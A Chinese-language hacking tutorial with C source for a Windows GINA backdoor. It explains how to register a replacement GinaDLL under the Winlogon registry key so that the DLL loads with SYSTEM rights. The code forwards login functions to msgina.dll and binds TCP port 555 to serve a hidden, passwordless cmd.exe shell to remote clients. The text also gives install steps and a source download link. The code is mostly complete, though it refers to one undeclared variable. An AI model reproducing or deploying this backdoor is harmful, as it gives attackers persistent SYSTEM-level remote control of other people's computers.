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| 关键词： nbsp NULL PVOID WINAPI 线程 return typedef 一个 后门 DWORD |
GinaBackDoor简单实现 WriteBy: LionD8Email: [email protected]: http://liond8.126.com 本来是投给黑防的稿子，可是等了3个月还没有消息，不等了公布了.虽然这篇东东不是什么高深的技术，但是对于初学入门的兄弟还是有一定帮助的。高手不要殴我啊。 首先要介绍Gina的在windows中的作用。NT,2K等都是多用户的系统，在进入用户shell前都有一个身份验证的过程。这个验证的过程就是由我们的Gina完成的。Gina除了验证用户身份以外还要提供图形登陆界面。系统默认的Gina是msgina.dll你能在系统目录system32下找到。微软除了提供了默认的Gina还允许自定义开发Gina替换掉msgina.dll实现自己的一些认证方式。这就为我们的后门提供了条件，要替换掉系统默认加载msgina.dll很简单只要编辑注册表在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon项下面加入一个类型为REG_SZ名为GinaDLL的一个键值.数据填写我们替换的GinaDLL的名字就OK了。例如：[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]"GinaDLL"="ginadll.dll"（ginadll.dll就我们自己的用来替换的Gina）在我们自己的DLL中只要邦定一个SHELL，其他的直接调用msgina.dll就行了。说白了就安装一个中间层。使其达到一个后门的目的。Gina是加载到winlogin进程中的，winlogin是系统的用户交互登陆进程是SYSTEM权限的，因此我们的后门也有SYSTEM权限。这对于后门来说是再好不过了。 由于我们一共要替换15个Gina函数。全部写出来来量相当大。我们就选几个重要的出来做做示范。其他的也差不多就直接往下一层的msgina.dll调用就行了。详细的请参考完整源代码。 typedef BOOL (WINAPI *PFUNCWLXNEGOTIATE)( DWORD, DWORD* );typedef BOOL (WINAPI *PFUNCWLXINITIALIZE)( LPWSTR, HANDLE, PVOID, PVOID, PVOID* );typedef VOID (WINAPI *PFUNCWLXDISPLAYSASNOTICE)( PVOID );typedef int (WINAPI *PFUNCWLXLOGGEDOUTSAS)( PVOID, DWORD, PLUID, PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID *);typedef BOOL (WINAPI *PFUNCWLXACTIVATEUSERSHELL)( PVOID, PWSTR, PWSTR, PVOID );typedef int (WINAPI *PFUNCWLXLOGGEDONSAS)( PVOID, DWORD, PVOID );typedef VOID (WINAPI *PFUNCWLXDISPLAYLOCKEDNOTICE)( PVOID );typedef int (WINAPI *PFUNCWLXWKSTALOCKEDSAS)( PVOID, DWORD );typedef BOOL (WINAPI *PFUNCWLXISLOCKOK)( PVOID );typedef BOOL (WINAPI *PFUNCWLXISLOGOFFOK)( PVOID );typedef VOID (WINAPI *PFUNCWLXLOGOFF)( PVOID );typedef VOID (WINAPI *PFUNCWLXSHUTDOWN)( PVOID, DWORD );typedef BOOL (WINAPI *PFUNCWLXSCREENSAVERNOTIFY)( PVOID, BOOL * );typedef BOOL (WINAPI *PFUNCWLXSTARTAPPLICATION)( PVOID, PWSTR, PVOID, PWSTR );typedef BOOL (WINAPI *PFUNCWLXNETWORKPROVIDERLOAD) (PVOID, PWLX_MPR_NOTIFY_INFO); 后门要用到的全局变量//管道HANDLE hStdOut = NULL, hSRead = NULL;HANDLE hStdInput = NULL, hSWrite = NULL;//用来控制线程是否结束返回BOOL bExit = FALSE;//保存创建的CMD进程语柄HANDLE hProcess = NULL; //这个是Winlogon进程最先调用的函数，用来检查Gina支持的winlogin版本BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion){HINSTANCE hDll=NULL;if( !(hDll = LoadLibrary( "msgina.dll" )) ) return FALSE;//取得msgina.dll中的WlxNegotiate函数入口PFUNCWLXNEGOTIATE pWlxNegotiate = (PFUNCWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );if( !pWlxNegotiate ) return FALSE;//往下层调用return pWlxNegotiate( dwWinlogonVersion, pdwDllVersion );} //为一个特别的窗口站初始化一个GinaDLLBOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext){HINSTANCE hDll=NULL;if( !(hDll = LoadLibrary( "msgina.dll" )) ) return FALSE;PFUNCWLXINITIALIZE pWlxInitialize = (PFUNCWLXINITIALIZE)GetProcAddress( hDll,"WlxInitialize" );if( !pWlxInitialize ) return FALSE;//初始化windows socket的WS2_32.DLLWSADATA WSAData;if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0) return FALSE;//同上往下调用return pWlxInitialize( lpWinsta, hWlx, pvReserved,pWinlogonFunctions,pWlxContext );} //Winlogon在没有用户登陆时接收到一个SAS事件调用这个函数int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType, PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions, PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo, PVOID *pProfile){HINSTANCE hDll=NULL;if( !(hDll = LoadLibrary( "msgina.dll" )) ) return FALSE;PFUNCWLXLOGGEDOUTSAS pWlxLoggedOutSAS = (PFUNCWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );if( !pWlxLoggedOutSAS ) return FALSE;HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象 WaitForSingleObject(hmutex,INFINITE); //后门的主线程开始。CreateThread(NULL,NULL,StartInit,NULL,NULL,NULL);ReleaseMutex(hmutex);CloseHandle(hmutex);//调用下层的WlxLoggedOutSAS.int ret = pWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );return ret;}//StartInit线程DWORD WINAPI StartInit(PVOID lp){SOCKET sock=NULL;//建立一个TCP SOCKETsock = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);SOCKADDR_IN addr_in = {0};addr_in.sin_family = AF_INET;addr_in.sin_port = htons(555); //端口号，可以自己改addr_in.sin_addr.S_un.S_addr = htonl(INADDR_ANY);//绑定到555端口上if(bind(sock,(sockaddr *)&addr_in,sizeof(sockaddr))==SOCKET_ERROR) return 1;//侦听listen(sock,1);sockaddr_in sin={0};int size = sizeof(sin);while ( TRUE ){ //接受一个连接的请求返回一个SOCKET没有请求则一直阻塞 //在一个连接断开后又返回等待另外的连接 SOCKET recvSock=accept(sock,(sockaddr *)&sin,&size); if ( recvSock == INVALID_SOCKET ) { Sleep(1000); continue; } HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象 WaitForSingleObject(hmutex,INFINITE); //创建后门 HANDLE hThread = CreateThread(NULL,NULL,BackDoor,&recvSock,0,NULL); ReleaseMutex(hmutex); CloseHandle(hmutex); //等待BackDoor线程结束。 WaitForSingleObject(hThread,INFINITE); bExit = FALSE;}return 1;} //BackDoor线程DWORD WINAPI BackDoor (LPVOID lp){//可以自己在这里加上一些密码认证等功能//用来设置管道可被子进程继承SECURITY_ATTRIBUTES sa; sa.bInheritHandle =TRUE;sa.nLength = sizeof(sa); sa.lpSecurityDescriptor = NULL;//创建管道CreatePipe ( &hSRead, &hStdOut, &sa, 0 );CreatePipe ( &hStdInput, &hSWrite, &sa, 0 );STARTUPINFO StartInfor = {0};PROCESS_INFORMATION ProInfor = {0};//重定向子进程的标准输入输出，为我们刚刚建立好的管道StartInfor.cb = sizeof ( STARTUPINFO );StartInfor.wShowWindow = SW_HIDE;StartInfor.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;StartInfor.hStdOutput = StartInfor.hStdError = hStdOut;StartInfor.hStdInput = hStdInput;//取得CMD的完整路径TCHAR SysDir[MAX_PATH] = {0};GetSystemDirectory(SysDir,MAX_PATH);if ( SysDir[strlen(SysDir)-1] != '\\') strcat(SysDir,"\\");strcat(SysDir,"cmd.exe");HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象 WaitForSingleObject(hmutex,INFINITE);//创建CMD子进程CreateProcess(NULL,SysDir,NULL,NULL,TRUE,NULL,NULL,NULL,&StartInfor,&ProInfor);hProcess = ProInfor.hProcess;//由于我们不对CMD的出入输出进行操作所以我们可以关闭CloseHandle(hStdOut);CloseHandle(hStdInput);HANDLE hArray[2] = {0};//创建一个接收命令线程和一个返回结果的线程hArray[0] = CreateThread (NULL,NULL,RecvThread,&sock,NULL,NULL);hArray[1] = CreateThread (NULL,NULL,SendThread,&sock,NULL,NULL);ReleaseMutex(hmutex);CloseHandle(hmutex);//等待2个线程的结束WaitForMultipleObjects(2,hArray,TRUE,INFINITE);closesocket(sock);return 1;}//RecvThread 线程DWORD WINAPI RecvThread ( LPVOID lp){SOCKET sock = *(SOCKET*)lp;TCHAR CmdBuf[512] = {0}; //接收命令的Bufint num = 0;while ( TRUE ){ if ( bExit == TRUE ) return 1; TCHAR Tbuf[2] = {0}; int ret = recv(sock, Tbuf, 1, 0); //接收一个字符 if ( ret == 1 ) { num++; //接收的字符记数 strcat(CmdBuf,Tbuf); //追加到CmdBuf中 send(sock,Tbuf,1,0); //回显 if ( Tbuf[0] == '\n' ) //如接收到回车 { TCHAR buf[5] = {0}; DWORD A=0; //写到管道中供CMD的标准输入读取 WriteFile(hSWrite,CmdBuf,num,&A,NULL); memcpy ( buf, CmdBuf, 4); //如果是exit命令设置线程结束标志 int ret = _stricmp (buf,"exit"); if ( ret == 0 ) bExit = TRUE; memset(CmdBuf,0,512); num=0; } } else { //如果连接中断终止CMD进程 bExit = TRUE; DWORD A=0; GetExitCodeProcess(hProcess,&A); TerminateProcess(hProcess,A); }}return 1;}//SendThread 线程DWORD WINAPI SendThread ( LPVOID lp ){SOCKET sock = *(SOCKET*)lp;TCHAR Buf[512]={0};DWORD ReadSize = 0;while(TRUE){ if ( bExit == TRUE ) //如果结束标志为真线程返回 return 1; //查看管道是否有数据可读 PeekNamedPipe(hSRead,Buf,512,&ReadSize,NULL,NULL); //有就读取 没有就Sleep0.1s再次检查 if ( ReadSize > 0 ) ReadFile(hSRead,Buf,512,&ReadSize,NULL); else { Sleep(100); continue; } //把从管道读出来的数据发给客户端. send (sock,Buf,ReadSize,0); memset(Buf,0,512);}return 1;} 以上基本上是后门的核心部分了，把全部的15函数都重载完都往下一层调用把编译好的DLL的15个函数都导出。把自己打造的DLL放在系统目录下，载编辑好注册表。后门就安装好了。由于我们是替换的DLL，必须要重起后才能生效。这也是一个不足的地方。删除后门也简单直接把我们添加的键值删除就行了。由于这是替换的系统DLL，请谨慎测试。不然系统就不正常启动啦。如有不正欢迎指正。源代码和安装测试程序下载地址:http://218.21.45.22/yh/gsyifan/liond8/src/GinaBackDoor.rar= = = = = = = = = = = = = = = = = = = = = = =参考文献: WinLogon登录管理和GINA简介---Bingle |
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